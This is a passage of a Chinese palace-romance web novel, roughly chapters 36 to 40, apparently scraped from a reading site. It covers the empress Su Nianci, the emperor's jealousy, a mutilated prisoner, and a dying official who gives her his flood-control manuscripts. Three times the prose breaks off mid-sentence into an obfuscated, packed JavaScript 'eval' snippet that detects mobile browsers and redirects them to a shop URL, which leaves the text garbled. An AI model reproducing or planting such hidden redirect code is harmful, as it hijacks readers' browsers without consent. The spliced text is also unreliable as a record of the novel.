隔绝外人,马车内只有两人了,空气却比刚才还要僵。皇帝鲜少有这般占理的时,挨着苏娘子坐时背脊停得硬梆梆,直溜溜的。用眼睛余光打量她,小姑娘子刚哭完还在抽,不停的用袖子擦眼泪揉眼睛。思绪全然不在他身上,担心他生不生气,是不是要拿办她。 “你不解释一下?” 皇帝硬梆梆道,伸手一把抓住苏娘子的手。装作十分凶恶的模样,暗暗告诫自己外人面前可以卖她皇后的面子,私下便再不要对她心软了,她要哭就让她哭够! “解….解释什么?” “你….杜少卿的事,你不解释一下?”皇帝看见她一副懵懂无知的模样顿时气不打一出来,恨不得伸手掐她脖子,“苏念辞,朕的耐心是有限的!” 她明白了,皇帝生气了,他应该生气的。心虚的低下头,滚热的眼泪又猝不及防的砸了下来,落在皇帝握着她的那只手背上。 “我不知道,那个时候好像真的真的很喜欢他,可永寿宫后我很久很久都没见过他,再想起从前的事竟觉得有些不可思议。” “哼,今日的事再有下次仔细你的狗头,朕可就没有那么好说话了!” 皇帝真的很想很想对苏娘子生气的,好好的晾她一阵,叫她只是谁才是她的男人。可是到嘴边的话总是又拐了弯,他发现自己面对着她真的越来越来难说出一句重话了。只有松了抓着她手的力道,低下头指腹轻轻的摩挲着她的指尖,难过又落寞。 “苏念辞,朕不喜欢你朕叫皇上。” “岳凌哥哥。”苏娘子突然唤他的名字,皇帝抬头淡淡的小四合香笼罩过来,柔软的唇瓣轻轻的贴住了他唇,含着哭腔哽咽“……你别生气好不好?” “…..为什么?”皇帝抬手抚上她脸,揉着湿润通红的眼尾,“说你喜欢朕好不好?” 承认对他的情意爱意,把她的心全部交出来,他就不生气了。 可她没说,皇帝的心狠狠的揪起来。揽住她的腰肢,把人拖到膝盖上,埋在她衣衫濡湿的胸前落下滚烫的泪。 “朕不生气,不生气了,你别怕。以后朕都住在乾清宫好不好,朕日日夜夜都陪着你。” 苏娘子心里害怕,点头了,“好,我娘说我年纪还小,心性不定,等我长大了就好了。” 皇帝听见她的声音身躯一顿,抬起头心疼的望着哭红的双眸,抬手揉揉发丝凌乱的脑袋。 “…..对不起,是朕忘记了,你其实才十六岁。” 而杜少卿是一个二十五岁的老男人,年纪快赶上苏三哥了,还是宦海沉浮的老油子人精,险些骗走他的皇后! 37. 第 37 章 杜家阁楼大火,禁卫军擒住了埋伏里面的张钦和黑衣杀手,但人看押在刑部大牢里,章钦手脚就被人砍了,几个黑衣人也咬破口腔度囊四了。 一夜之间什么还没审出来线索便断了,章钦虽没死但已是废人了。躺在潮湿阴暗的牢房里苟延残喘,连喝水进食都要差役帮喂,经常屎尿拉一口裤子,捂得大牢臭气熏天。手脚伤口当初没护理好生了蛆,疼得日夜像鬼一样嚎叫,呜呜噎噎的像是女鬼一样,听得人背脊凉飕飕的,瘆得慌。 苏娘子曾说过要章钦给肖小姐陪葬的,当若他还和当初一样嚣张,死不悔改,她一定会毫不犹豫杀了他。亦或是在杜家那夜的大火里,叫禁卫军一件射死也是痛快了。 可是没有,他不但没死,潜入刑部大牢里的人断掉了他的手脚,却没要他的命,把他弄成了人不人鬼不鬼的模样。 是人就会惧强,会杀恶,却很难去杀弱。便如同一条恶犬,作恶时候人一定会毫不犹豫的杀掉它。可当它被敲掉了牙,打断了四肢时。对弱的怜往往使人忘了曾经的恶,最多也不过感慨一句可怜之人必有可恨之处,再想要杀它便难了。 章钦幕后之人的线索断了,但刺杀皇后却是证据确凿的。刑部结案判决秋后处斩时,从牢狱嘴里章钦的处境已传的人尽皆知了。人们想过苏娘子会杀了章钦,但没想过她会如此折磨他,叫他求生不得,求死不能。 形势在无形中又被推到另外一番境地,苏娘子明显感觉到已经不能杀章钦了,也下不了手杀一个吃喝拉撒都不能自理的废人。她跑去刑部大牢,想再找点其他的线索,看到了章钦的惨状。 狱卒没想到皇后会大架光临,章钦的牢房里两日没收拾,裤子里满满兜两泡屎尿,臭气熏天。 狱卒原本想打扫了再请苏娘子提审,她没过里面会是怎样的场景拒绝了,走到牢房门口闻见臭气当朝就呕出来。 章钦看见,窝在角落里突然就不嚎了,嘿嘿的笑起突然挺起身子向门口扑来。吓得小梅直尖叫拉着苏娘子躲到狱卒身后,几个狱卒见到赶紧护驾,抄起水火棍狠狠打了章钦一顿,到人老实只剩下一口气发不了疯了才住手。 “娘子,这疯子就这样要打服才不折腾,不然天天在牢房里鬼哭狼嚎不得安生。” 这算不得恶有恶报了,往常这样的棍子章钦也没少往肖小姐身上打吧。 苏娘子闷闷的想,捂着口鼻看向如丧家之犬的章钦。可是心里却没有感到痛快,惩恶的快感。只感到害怕,他背后的人比恶棍、贪官污吏更让人感到心颤,其势力遍布朝廷,对人心的玩弄也远超她的想象。 他知道她对章钦这等恶人的痛恨,也知道她对一个手无缚鸡之力的人痛下不了杀手。 “章钦,我问你你背后之人到底是谁?可是肖阁老,是的话你可以点点头。” 苏娘子拨开狱卒忍着恶臭上走到章钦面前,小梅拉着她的胳膊害怕的直发抖,嚷着赶快走。 “娘子,他舌头被人拔了,问什么他也说不出来了。咱们快走吧,好怕人啊。” 苏娘子静静的等着,看章钦趴在地上是点头还是摇头。朝廷里如此操纵权势,控制京师流言,能在刑部大牢里行凶的人,她只能想到肖阁老。 可是她与他,包括皇帝也并没有什么不共戴天之仇。甚至他们还一起帮肖小姐摆脱了章钦,说得大一些他们于他也算是有一份恩情的。 但是章钦此听到肖阁老的名字很安静,什么反应都没有,直挺挺的躺在地上,要不是呻吟着只怕以为他被打死了。 “章钦,我想你我的恩怨也该就此了结了。我没有资格替肖小姐原谅你,但如果只是你诬陷冲撞亦或是刺杀我,我也没有什么非要杀你的必要。” 苏娘子转身拉着小梅走了,吩咐狱卒打扫干净牢房,给章钦换身衣服。 出了刑部大牢,有了新鲜的空气。苏娘子还是觉得身上腌入味了,呼吸间都是恶臭。回苏家换衣服,原始想用了午膳再走,结果在大牢里恶心的一口没吃吓,捂着胸口险些吐出来。 文夕夫人吓得的直接放下了碗筷,紧张的跑到她身边,“怎么了,念儿?你不会是有了?” 苏娘子一脸懵,不明所以的看三郎,朝他使眼色:我....我怎么了,有什么了?我没事啊? 三郎面色更是尴尬,埋头刨饭。 文夕夫人:“哼,定是皇帝那小子。跟娘进屋,娘给你请个大夫来看看。” “啊?娘,您说什么?” “说什么,你都成亲了,有什么你自己不明白?” 苏娘子瞬间明白过来,拉着文夕夫人不好意思的笑道:“娘,没有,真的没有。我就是今天身体不舒服而已,您想多了。” “你都成亲多久了,怎么还会没有?你年纪小,咋咋呼呼得就是怀上了自己也不知道。请大夫来看看,别你自己当娘的没心没肺把孩子给蹦没了。” 文夕夫人不信,非拉着苏娘子进屋要请大夫,急得她没忍住脱口道:“娘,我....我成亲那么久以来,其实都没有....没有那个.....” 三哥还在场,她实在没脸说,把到嘴边的话咽了回去。三郎见状丢下碗,夹着尾巴赶紧跑了。 “娘,妹妹,你们慢慢说,我....我去看书了。” 去岁也不知道是皇帝插手了还是没插手,三郎又一次名落孙山了。老父亲觉得心性浮躁,定下规矩先立业后成家。这会儿他都二十五还没娶妻,生孩子的话还得等他考上了科举才有的说。 ---- 花厅里这会儿就剩下文夕夫人和苏娘子了,母女两人挨着坐在一起敞开了了贴心话。苏娘子没了顾及,一股脑把成亲以来一直没圆房的事全说了出来。 文夕夫人听得脸色从愤怒到震惊再变到担忧,“.....你是说那小子天天吃大补汤,和你睡一张床,然后什么事也没干,沾着枕头睡得跟猪一样?” 苏娘子尴尬得点头,她也不懂。从前定规矩的时候就是怕皇帝对她动手动脚,还特意要求睡在外面好随时跑。后来发现她明显多虑了,在乾清宫皇帝睡的比她香雷打不动,当然除了在宁寿宫外遇见她和杜少卿那次。 “不对啊,那小子十八了,你大哥十八的时孩子都打酱油了。你也十六,马上过了生辰就十七了,没道理啊。” 文戏夫人拉起苏娘子的胳膊,上下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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文夕夫人白了她一眼,“娘生了你三哥哥一个闺女,这些事我能不知道?第一,关于新婚夜没有落红婚前失身,谁说处子之身就一定会有落红,娘同你爹成亲的时候就没有。” “啊?那爹爹他....” “你爹什么,他敢怀疑娘当场掀了他的洞房!不过你爹确实是当真了,心疼的不得了以为娘被什么负心汉骗了,搂着为娘哭了一宿。我第二天才千遍万变和他解释明白,只能说章钦仅凭一点落红便断定肖小姐失身,因此怀恨在心殴打她多年,只能说他并不爱她而已。第二就是关于他俩到底谁不能生,肖小姐死了真的不好说了。” “娘,我明白了!午膳您慢慢吃,我先回宫了,过几日我再回看您!” 苏娘子激动站起来,提着裙子火急火燎的就跑了。文夕夫人赶在后面,扯着嗓子喊:“你这丫头干什么去,你明白什么了明白,娘还没说完呢!皇帝那小子不能生了,早晚这锅要甩到你头上。” 苏娘子听着她的话直发笑,边跑边回头道:“娘,您再给岳凌哥哥一点时间吧,指不定能调好呢。他家里有皇位要继承,文武百官也不会让他绝嗣的。” 出了苏府,她又跑刑部大牢去了,小梅跟在后面都快哭出来了。不明白里面臭死了,章钦都不能说了还去做什么。 38. 第 38 章 回宫前苏娘子又去刑部大牢了,还去找了李廷致来。小梅是万不想再踏进那地方第二次了,呆在大牢墙头外等。狱卒已经给章钦换了衣服,打扫干净了牢房。里面恶臭没有早前那么臭了,苏娘子让狱卒打开了门就打发他走了。 “章钦,杀一个废人并不是我的行事风格,我会让你的家人来接你出狱。只是关于肖小姐,我还有些话说。如果你曾经是因为怀疑肖小姐失贞,觉得羞辱而虐待她的话。那我告诉你,处子并不都会有落红,李太医烦请您解释给他听。” 角落里的章钦身子挺了一下,缓缓的抬头,呆滞的目光从杂乱的头发后射出,直勾勾的看着门口。 “是,娘娘。” 李廷致并不明白为什么要解释这些,只是凭借多年的行医经验与医案记载,如实道:“自古以来常处子血证妇人贞洁,据臣先师及臣行医所见,处子血受外力而落,坠落、骑马等都易见血。尤其幼女无知时,《虫鸣漫录》载曾有一十二幼女从牛背跌落,衣物见红其母藏之。后女子新婚未见落红其夫欲休,其母拿出衣以证清白。因此事私密不道外人知,故而记载甚少,但仅以处子血证贞洁并不严谨。” 苏娘子最后叹气道:“章钦这话你信亦或不信,我都只说这一遍。你并不爱肖小姐,辜负了她!” 听完李廷致的话,牢房里的章钦就张开嘴巴痛苦的嘶嚎起来,像是野兽一样发狂挣扎,“啊!啊!啊!”。 直挺挺的倒到地上,躬起背蜷缩成一团哑声在哭。因为哭不出声,声音都憋在嗓子里更像是野兽在嘶鸣。他还呛风剧烈的咳嗽,抽搐发抖。 “章钦,下半辈子你就拖着这副人不人鬼的样子活着给她的赎罪吧!” 苏娘子知道,他是信她的话的,否则不会如此激动。这也是她的目的,不杀人,但诛心。 随后离开刑部大牢便让狱卒通知章家来领人了,章钦被抬着回章府巷外时,有顶黑轿拦在了路中间。里面有人悠悠的用折扇抬起半角轿帘,露出两两低垂的唇角。 “怎样,说了你死不了的。虽说断掉一双手脚,也总比丢了命强是不是?” 章钦听间那声音立刻激动起来,啊啊的不停叫唤露出惊恐之色。章老太爷命令仆人赶紧抬着章钦走,但轿子就停在路中间,越是靠近叫的越厉害,挣扎着险些从肩椅上翻下。 章老太爷担心,只得慌忙喊道:“停下!停下,把公子放下来!” 章钦情绪才稳定些,但他自己从肩椅上滚下来,趴在旁路等着那顶轿先过。章老太爷和仆人才意识到,章钦在怕里面那个人。不知是什么来头,却明白早该是惹了不该惹得人,待轿子走远后才把章钦拖回了轿里。 第二天早上,仆人就发现章钦死了。怀里揣着肖小姐生前的衣服,溺毙在一盆洗脚水里。 ---- 章钦和肖小姐的事揭过,杜府的大火过去了三个月。入了秋又到去岁杜少卿入宫帮苏娘子修书的日子,只是相同的日子换了不同的人。 石宽虽引诱皇后出宫险些遇伏,但念在他为救杜少卿初心不恶,及时补救未酿成大错。皇帝赦免了他,养好伤后又让他进宫来帮苏娘子抄书了。只是安分了两天,这厮的心思又不安分了。借着皇帝在养心殿召见大臣的功夫,又和苏娘子提起了杜少卿。 “皇后娘娘可知,杜大人已经时日无多了?” 这话甚是耳熟,苏娘子放下手中潇湘笔,脸色微怒。 “石公子同样的把戏你还要玩第二次,怎么你背后除了章钦还有别人?” 石宽被这话吓一跳,赶紧扔笔举双手否认向苏娘子表忠心。 “皇后娘娘莫要冤枉臣,臣背后没有人,只有皇上和娘娘!上次骗娘娘出宫,臣心已是万般愧疚了。那次臣也和皇上坦白了,没有人主使就是臣自己的主意,因为臣实在不忍心看着杜大人就那样含恨而终,才想让您去见他一面,只是臣实在没想到会有贼人埋伏在里面。” 他的心确实是又单纯又赤忱的,只因为听见杜少卿梦呓中一句苏念辞,便就心软不忍眼睁睁看着好友抱憾而终就把皇后诓骗出宫,险些酿成大祸。 苏娘子也知道的,就是没想到他脑子会这般呆,揶揄道:“石大人倒是好胆识魄力,敢给皇后和外臣拉起皮条来了。” “娘娘,臣真是跳进黄河也洗不清了。臣把您骗出宫就是想让杜大人再见您一面,那个时候臣真的以为杜大人要死了,不过现在他真的是要死了!” “大清早的死不死的多不吉利,石大人盼着杜大人好点就闭嘴吧。” 苏娘子毫不在意,继续画她的河道图纸。已经三天了,黄河漕运改道还是没头绪,涂涂改改又回到最初的勘测水位的起点。 石宽:“娘娘,臣没有骗你。这次杜大人真的不行了,您难道不怀疑他一个七尺男人怎会淋一场雨身子突然就跨了吗?他被下毒了,原以为只是伤寒所致,没想到却是毒已入五脏病入膏肓了。连李太医也束手无策,杜大人让我们瞒着,谁也不让说。娘娘,您可以再去看他一次吗?真的是最后一面了,皇后娘娘!” 苏娘子神情一顿,笔尖的墨汁滴落纸笺湮了她刚写的字。石宽看见心下一喜,紧张的等她点头。 “我不去,我是宫妇,不宜出宫见外臣。” “娘娘,他也许有话要和您说。” “放肆!”苏娘子突然动怒,摔了笔噌的站起来,“石大人若不想帮我抄这些书,明日就可不用来了!纵使他杜少卿是王侯勋贵,要去探望也轮不到我一个妇人去。何况他只是一个小小的编修,你叫我去看他将君臣纲常至于何处!” 石宽只好闭嘴了,苏娘子鲜少有这样动怒,端皇后架子的时候。气得一个字也落不下笔,摔袖而去。石宽不敢再说话,只能闷头苦抄。 申酉之交,宫门即将落钥。入秋后日头就黑早了,石宽赶着落钥前收拾书稿出宫。皇帝明黄色的大袖袍突然伸出来,一把按在他的书稿上。 “你又揣掇着朕的皇后出宫干什么?当真以为章钦的事朕轻轻揭过,饶过你诱骗皇后入险的事朕就不会杀人了?” “皇.....皇上?”石宽一抬头,看见皇帝阴骛脸吓得发抖,当即下跪请罪,“臣该死,请皇上降罪!” “杜少卿怎么了?” 皇帝歪坐到苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“皇上,娘娘不说也许是因为她还感受不到安全感。害怕把心交出去,又坠入万劫不复之地。皇上总是说娘娘心里没您,当初她明明可以跟着苏明伯离开京城,可她没走。只凭这一点皇后娘娘心里一定是有您的,臣无法想象如果不是这样的感情,皇后娘娘如何仅凭记忆就做出了您的画像。那时她还带了一只破破烂烂的小狗来到石家庄,躲了几天每天几乎都不离手的抓着。后来听苏明伯说臣才知道原来那是您的狗,皇后娘娘那时每天都会抱着睡觉。” “是吗?”皇帝并没有被哄到,自嘲的抬起暗淡的眼眸,“可是后来她把那些东西都扔了不是吗?早知道她不喜欢,朕就不要把狗送给她了,那是我娘给我缝的。” “没有的,皇上,皇后娘娘没有扔掉您的狗!”石宽笑了,没想到皇帝这般的痴情,帝王逐渐成熟风度里又有几分孩子的稚气。“您那幅画和小狗被苏明伯拿走了,臣记得那时候他说要皇后娘娘守好自己的心不要太早就发现了。” “是吗?” 皇帝还是蔫蔫的缩在苏娘子椅子里,但眼睛听见石宽的话瞬间就亮了,还翘起了嘴角,使劲的压着不想让人看见自己又被一句话哄好了。 “你这贼子到底是撮合朕和皇后还是搓和杜少卿和皇后,哼!还不快滚,宫门落钥了。” “是是,臣马上就滚!” 石宽赶紧收拾东西滚蛋,临了皇帝突然又喊住他。 “你和皇后订过亲,你喜欢她?” “臣,没有。” “为什么?” 石宽停在雨花阁外,自嘲一笑。 “因为臣和章钦是一样的人,配不上娘娘这般的好女子。” “知道了,滚吧,明日还来帮皇后修书。” “是。” 39. 第 39 章 帽子胡同里,杜府早就不复往日繁华了。杜少卿从去岁被选派入宫帮助苏娘子修书后,便开始陆续迁散家仆,母亲、妹妹都托友人送回了河南铜瓦县了。府里院子没人打理,春夏野草能长得没过人高,秋风起里面又是一片枯枝败叶,萧条之景。 他已病入膏肓谁也不见了,整日窝在东院的小阁楼里。府上只有石宽花银子请来的老爷子看门伺候,再多的他就不要了,来人就往外打。 苏娘子到府外下车,刚推开门里面就刮起了一阵妖风。尘土四起卷着枯黄的树叶,斑驳的朱红大门像是濒死的老人在喉间堵了一口老痰,艰难的沉吟了一声。门房里老头听见动静,掀帘探出头来,问:“你是什么人,来干什么的?” 小梅连忙道:“老伯,我家娘子是杜相公的朋友的,想来看看他烦请您引引路。” “杜相公还有朋友?您怎么不早些来,他呀现在怪的很,不见人了。一个人病了那么久多可怜啊,除了石大人一个朋友都没人探望过。” 从去岁寿康宫外雨中罚跪后传出来和皇后的闲话,翰林院里的同僚全都跑光了。往日里才貌艳绝的玉面编修郎一夜间就变得臭不可闻了。 苏娘子不好意道:“是我疏忽了那么久都没来看杜大人了,烦请老人家带带路。” “娘子这边来,不过现在杜相公脾气可不好,见了人怕是要发脾气骂人的,娘子当心。但也不用放在心上,他见谁都这样。现下还能骂出来撒气也好,总比憋在心里出了毛病强。” 老爷子往左打了个请的手势,请苏娘子跟着。几乎又是和三个月前那个傍晚一模一样,石宽说杜少卿不行了要苏娘子来看他,然后府里埋伏了杀手刺杀她。 今天他又说杜少卿只剩下一口气了,还是闭不见客的躲在破旧的阁楼里。不知道这周围是不是依旧埋伏了杀手,只有秋后的蚂蚱趴在枯黄的树叶子上奋力的嘶鸣着发出最后一振。 苏娘子想这次没有向搬救兵当真有意外死在这里了怎么办,即便没有,她是皇后,一个宫妇用什么立场来看一个朝臣? 思量间老头已经引她们上了阁楼,先敲门提醒里面的人。 “相公,有客来访。” “滚,都给我滚!我谁也不见,我的话听不懂吗?”屋子里传来暴躁的骂声,老头苦笑,摊摊手无奈道:“娘子看见了,门没锁,您敢进去就自己进去。平日里老汉都是把药和饭放在门口就走了,相公不让进,他想吃了自会开门来拿。” 说话间就跑下楼去了,小梅趴在门缝上往里瞧,室内昏暗乱飘着发黄的纱幔,霉气扑面而来。 “娘子,让我先进去,杜大人看着真的要打人的样子,别伤到您了。” 她就要推门进去,苏娘子拉住她的手,道:“没事,我们进去看看就出来。” 苏娘子没有犹豫推门就进去了,刚踏进脚闻见潮湿的霉味捂着鼻子狠狠打了几个喷嚏,“杜大人,是我。” 苏娘子绕过屋内的屏风走进内室,小梅觉得屋内太潮湿了,跑去开窗让暖日的暖阳和和煦的暖风驱散室内的霉味。 阳光坠落的瞬间,杜少卿深邃阴暗的眸子被点亮,暖的像是一对温暖的琥珀。抬眼看见苏娘子的那刻,眸子中闪过震惊、错愕、慌乱……也还有意外、欢喜、开心……所有的情绪最终化作一声很淡很轻的,“你怎么来了?” 他用手中莹粉的手帕捂着嘴,倚在床头上看着她。墨发半束,身披灰袍,残柳拂风。脸上落着阳光,笑起来也还明媚。并没有像石宽说的那样并入膏肓,人就只剩下一口气了的模样。只是有些憔悴,比上次在书阁的时候好很多很多了,像一块落了灰的玉珏。骂人的声音还很大声,中气十足。 杜少卿:“刚才吓到你了,我不知道你会来。” 苏娘子觉得石宽肯定又故意骗她来的,也许他也有份。 “大人身体怎么样了,可是有好好吃药,好好吃饭?” 虽然被骗了,但杜少卿终究是个病人。她还是安慰自己不要生气,不管怎么样他们都是朋友,并不只是等他要死了才能来探望。 只要他身体还好就好,他是朝廷里少有精通河道又心怀民生的人,才二十五岁大好的青春年华不该就这样死了。 杜少卿咳道:“嗯,有,你看我是不是好多了。” 屋子里没有下人,他抬手指了书桌后唯一一把没落灰的圈椅喊小梅,“烦请小梅姑娘给你家娘子搬把椅子来坐坐。” “好。”小梅麻利的搬来圈椅,放在苏娘子身边,“娘子坐。” 苏娘子正要落座,杜少卿又道:“小梅,把椅子搬这边来。” 他指着自己的拔步床边,小梅看向苏娘子问她的意见。 “那搬到那边去吧。” “喔”小梅把椅子搬了过去,放在离开床两尺的距离。 “再放进些。” “啊?” “有劳姑娘了。” “喔喔。”小梅硬着头皮挪了好几次位置,椅子搬到了离床很近很近的位置,苏娘子坐下来绣鞋紧抵着酸柳木脚踏。 她们两个都明显感觉到杜少卿让苏娘子坐只是想要说说话,而是他想看她,有些不高兴。 杜少卿也察觉到了她们的情绪了,淡淡的撇过眼,抬手拿了一只床头瓷盘里的玫瑰饼。 “尝尝,你最爱吃的。” 还是当初他们第一次一起分食过的玫瑰饼,苏娘子有些恼,蹙眉接过递过来的饼。酥脆的饼皮扑簌簌的掉渣,落在她的裙子上。 杜少卿看见她故意把抓烂了,知道惹恼她了,他突然失笑道:“臣给娘娘的饼,娘娘还敢吃吗?” “?”苏娘子不明所以,松了手手指沾染着玫瑰的油香,好像还有淡淡的血腥味,不知从何处而来。 “以后不要随便吃陌生男子给的东西了。” “为什么?!” 他辜负了她对他的信任和尊敬,她把他当作一个君子、知己相待,他却设计接近利用自己。苏娘子厉声质问,发着抖喊破声音下了小梅一跳,紧张的盯着拔步床,害怕苏娘子一个气不过下手殴打杜少卿。 “因为臣也想活着。”杜少卿无奈苦笑,苏娘子会生气他早就料到了。但并不在意,只是睁大了眼睛认真的看着她的眉眼。 她坐在圈椅里离床很近很近,傍晚的阳光也很很好,亮堂堂的,暖洋洋的。他睁大眼睛就可以看清楚她的脸,看清楚她的担忧、恼怒、羞愤。 “小梅姑娘,劳烦你把我书桌上书笼取来。”小梅犹豫了一下照杜少卿的吩咐去取了,打开盖子交到他手上,里面氲着崭新的墨香,纸笺洁白如雪,玄墨如铁。 “臣听石大人说,娘娘正在为借黄行运之事烦忧。臣有些浅薄的想法,不知道娘娘认为避黄行运如何。这是臣画的徐邺河段河道图,避开了这一百八十里险道运船就可顺利入淮。只不过臣久居京师已许久未下过河,不知如今是何等情况。粗略做了一张改运河道图,里面有很多地方也许都不对了,娘娘可看看也亦可请苏老先生过目可妥。若真能派的上用处,臣也不枉负治河之家名。” 图纸递过来,苏娘子看见精致繁复的河口、地势、水流标注一下就忘记生气了。她接过来仔细看了,杜少卿的避河而运确实与她不谋而合了。只是如他自己所说久未下河勘查,许多地方早就和早几年不一样,一些水流、河深、出水口、航道都不对了。 杜少卿又从书笼里取出一大摞手稿,手指轻轻拂了拂卷屈的边角递给苏娘子。小梅见这是要说治河的事,十分机灵的跑到屋外守着了。站在阁楼上能清楚的看见府中各路,有什么人来了立马就能知晓。 屋内,杜少卿又拿出来一摞很厚的手稿。不仅有抄写的古籍批注,还有紫禁城地下河图样,表明了每道流水走向,甚至还有各样沟渠、涵洞设计图样,铺设方式。用各样的颜色,大小不一的字迹一一注明,放在苏娘子手上沉甸甸的。 “还有这些是臣整理了臣祖父、先父留下的手稿,大体包含了紫禁城地下河道设计图样,以及臣关于黄河治理的一些浅薄见解也一并都给娘娘。自古以来黄河水患必祸及州县内涝,臣觉得娘娘当初在地方应用紫禁城排水大工的想法或许可行,娘娘有机会可以去地方试试改设地下河道。” 苏娘子蹙眉,“这些你写了多久,你还病着不要命了?” 杜少卿笑笑道:“也没多久,臣养病期间又不用上朝办理公务,闲得没事写写画画打发时间而已。” 他说的没多久是两百多个日夜的呕心沥血,不眠不休。时常发病呕血弄脏纸,手腕发抖拿不住笔打翻墨盘,他就一遍又一遍抄写出干干净净的手稿为止。所以手稿、图纸干净整洁,笔迹也依旧如当初那边雄厚有力,掩盖了他已经命不久矣的残忍。 苏娘子也是懂河的人,她知道整理出这些要耗费多少精力,绝不可能是打发时间而已。她把图纸和手稿都放回了书笼里。 “这些你自己留着,病没好之前不许再碰了。等你病好了,皇上派你去黄河上,你自己亲自去勘查,去做你想做的事。” “这是给娘娘的,娘娘带回宫吧。娘娘将来把这些手稿图样整理成册,刊印出来传阅天下,治河非一世之功,希望它们能为后世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806610|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开治河之学。只是还有至关重要一点,臣希望娘娘能明白。朝廷并不却能做事的人,缺的是能把事做好的人。娘娘有一颗为国过民的仁德之心,当得起君子二字,但要做实事娘娘一定要有自己的人。” “为什么给我,这是你的治河方略,能为万世谋利,助大人平步青云留名史册。但这一切的前提都是大人要好起来,有一个好身体。我会请皇上再派几名太医来了,用做好的药,您一定会好起来的。” 苏娘子不要他的手稿,将他的治河方略占为己有,只希望这样的治河人才能好起来,走出京师去看千里江山,万里河水,大展宏图。 杜少卿却又把书笼放在了她膝盖上,捂着手帕轻咳了一阵笑道:“娘娘能等臣好起来,黄河的百姓呢。治河绝非朝夕相处之功,娘娘把这些都带回宫去,有可行可用之策可尽早实行下去。娘娘若是觉得剽窃了臣的功劳,将来娘娘的治河方略图册刊印时给臣写一个名字放在最后就行。” “可是这些都是你的心血,杜大人自己不亲自去做,与将孩子送给旁人养何异?还是等杜大人好起来了,大人向皇上奏明再行酌办此事。” 苏娘子又把书笼推了回去,但杜少卿怎么也不肯接了,只是温柔的望着她。 “那臣就将孩子托付给娘娘了,请娘娘好好善待它。娘娘若还是觉得不过意不去,臣比娘娘年长几岁,自认为治河之事胜过娘娘几分。娘娘不嫌弃的话拜臣为师,如此以来弟承师道,这些事由娘娘来做便是名正言顺。” “啊?” 苏娘子感到不可思议,心里怪怪的。杜少卿嗔笑道:“啊什么啊,黄河水患、天下百姓还不及娘娘这一点廉耻心吗?臣又没怪您剽窃臣的才识,反正这个书笼给娘娘了。您要不就拜臣为师,大大方方的把这些东西用在治河之上。要不您就把东西扔了,反正臣也不要了。” 他还生气来,别过头不看苏娘子了。 “可是…..” 苏娘子左右为难,不知怎么就扯到拜师了,适才还生气他设计接近自己呢。两个人僵持了一会儿,苏娘子先妥协了。 “那….那我要怎么拜师,我让小梅去买两斤猪肉一捆大葱来做束脩礼?” 杜少卿不自觉笑了起来,用手帕捂着唇转过身来,指了指地下。 “娘娘就磕三个头,臣就收下您这个弟子了。” “好吧,我愿意拜杜大人为师学习治河。但我还是希望大人能好起来,亲自实现自己抱负。大人有揽月捉鳖之能,不应该只是圄于是翰林院方寸之间。” “嗯,借娘娘吉言。” 苏娘子起身拖开椅子,对着杜少卿盈盈三拜,“弟子苏念辞拜见师父,望师父传道解惑以立业。” “嗯,起来吧,这是为师给你的拜师礼。” 杜少卿伸手递过来一只晶莹剔透的玉坠,苏娘子起身接过玉还是暖的,瞥见他微敞的衣领才意识到坠子刚才从他脖子上摘的,玉坠氲的暖意是他的体温。 她突然觉得玉变成了炭火星子一下烫伤了掌心,立马扔在了地下。心下越是觉得怪异,感觉又掉进陷阱里去了当下就想跑。 突然门外响起来小梅慌张的喊声:“娘子不好了!皇….皇上来了,快跑!” 小梅冲进门抓起苏娘子的手腕往外跑,杜少卿失笑,看着那两个小姑娘跟无头苍蝇一样,着急忙慌的往屋外扑腾。不慌不忙,平静的抬手指了指茶室门。 “这里下楼只有一条路,圣上肯定在路上了,这样跑下去岂不是叫他撞个正着。去茶室,躲起来。” “啊?”小梅懵了一下,循杜少卿的手果然看见竹屏风后有门,拉着苏娘往里钻,“娘子快躲躲,叫皇上抓到我们来看杜大人就死定了!” 苏娘子也紧张的满头大汗,躲在她身后深呼吸,掌心里似还有被刚才那块玉坠烫伤的疼。心想可不是死定了,懊恼的揪着裙,不想认刚才的师父了。 喘息间,皇帝的脚步已经踏上阁楼了,修长的身影经过琉璃窗牍停门外。小梅刚才忘关门了,大门大敞开着,射进来浓烈耀眼的残阳。 “朕的皇后呢,你把她藏哪里去了?” “她不在这里。” “是吗?杜少卿,她是谁?她是朕的皇后,你是朕的臣子,为什么不尊称她皇后娘娘!” 苏娘子和小梅躲在茶室里听见了一声踢门声,不用想也知道是皇帝踢的,他的声音阴冷的不像话,听的人背脊发凉。 “她是苏念辞,皇上的皇后娘娘应该在宫里才是,何故找到臣家里来?” “放肆杜少卿,你竟敢觊觎皇后!” 40. 第 40 章 阁楼上,皇帝和杜少卿在吵架,苏娘子和小梅躲在茶室里听。杜少卿的情绪很奇怪,几乎句句在挑衅皇帝。当着他的面直呼皇后的闺名,还把书笼递给皇帝让他给苏娘子带回宫去。皇帝脸色阴沉沉的,袖袍里紧拽着双拳,看着样子像是随时后会朝他脑袋招呼上一拳一样。 屋内的气氛僵硬得让茶室里也感到头皮发麻了,苏娘子和小梅两个人不约而同的往茶室门上戳洞,贴着眼睛偷偷看。 小梅:“娘子,一会儿皇上和杜大人打起来,咱们帮谁啊?” 苏娘子叹气,“…..应…..应该不会打起来吧?” 